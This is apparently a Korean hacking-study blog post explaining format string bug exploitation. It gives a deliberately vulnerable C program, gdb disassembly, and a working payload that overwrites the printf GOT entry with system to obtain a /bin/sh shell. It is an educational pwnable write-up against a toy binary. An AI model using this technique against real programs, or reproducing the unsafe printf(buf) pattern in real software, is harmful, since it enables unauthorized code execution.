ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 포맷스트링(Format String Bug) GOT Overwrite
    Hack/Pwnable 2016. 8. 17. 23:45


    ROP로 GOT Overwrite는 알고있었지만 fsb를 공부안한탓에 늦게 깨달았다 하하;;


    고로 까먹을수도있기때문에 써놔야지 하하


    여기서 일단 중요한건 %x, %n인데, 새로 안것은 %4$n 이런것도 있다는거를 깨달았습니다


    %x%x%x%x할바에 %4$x를 쓰면됩니다 뭔가 이해되죠 

    %x%x%x%x%x면 %5$x를 사용하시면 됩니다. 이해 잘되죠!

    뒤에 x는 %x를 나타냅니다 


    자 이제 중요한건 fsb로 쉘따기인데 간단한 코드를 짜겠습니다


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #include <stdio.h>
     
    int main(int argc,char *argv[])
    {
        char buf[256];
        system("echo \"\"");
        strcpy(buf,argv[1]);
        printf(buf);
        printf("/bin/sh");
        return 0;
    }
    cs



    printf(buf);로 인해 fsb 취약점이 발생하고, 아래에있는 printf의 got를 변경할겁니다.



    자 보게되면 처음에 넣은값이 7번째이후에서 출력되고있습니다. 그럼, 저길 덮어주면 우리가 입력해준 AAAA가 바뀐다는소리니까, 처음에 got를 넣어주고 그다음에 저 주소까지 이동해서 값을 넣어주면됩니다.


    AAAA%7$n을 하면 값이 쓰여지겠지만 저흰 got를 덮을거니까 다음과같이 넣어줍시다


    printf@got + printf@got+2 + system@got + system@got+2를 넣으면됩니다.




    (gdb) disas printf

    Dump of assembler code for function printf@plt:

       0x08048350 <+0>: jmp    *0x804a00c

       0x08048356 <+6>: push   $0x0

       0x0804835b <+11>: jmp    0x8048340

    End of assembler dump.



    (gdb) disas system

    Dump of assembler code for function system@plt:

       0x08048370 <+0>: jmp    *0x804a014

       0x08048376 <+6>: push   $0x10

       0x0804837b <+11>: jmp    0x8048340

    End of assembler dump



    system@plt = 0x8048370

    printf@got = 0x804a00c


    got를 system으로 덮어서 system("/bin/sh"); 이 실행되게 할겁니다.

    우선 페이로드는 아래와같습니다.

    ./fsb $(python -c 'print "\x0e\xa0\x04\x08\x0c\xa0\x04\x08%2044x%7$hn%31596x%8$hn"')


    설명을 하자면, 원래 대부분 \x0c\xa0\x04\x08을 먼저 앞에 놓고 시작하지만 저는 \x0e부터 넣은이유가, system@plt에서 2바이트씩 끊어서, 10진수로 변환하면 


    0x0804 = 2052

    0x8370 = 33648


    가 나오는데, %n을할때 앞에 출력되는거까지 빼서 넣어줘야 카운팅되서 들어가기때문에 2052 - 33648을 해주게되면 음수가나와 거꾸로 해준겁니다.


    hn을 넣은이유도 2바이트씩 끊어서 넣어주기위해 %hn을 사용했습니다.







    'Hack > Pwnable' 카테고리의 다른 글

    fast_dup double free attack  (0) 2016.09.13
    Layer CTF easy_bof  (2) 2016.09.05
    Off-by-one  (0) 2016.08.11
    const overwrite, 버그헌팅하면서 배운점  (3) 2016.07.19
    ARM Shellcode 간단한거..  (0) 2016.06.29

    댓글

Designed by Tistory.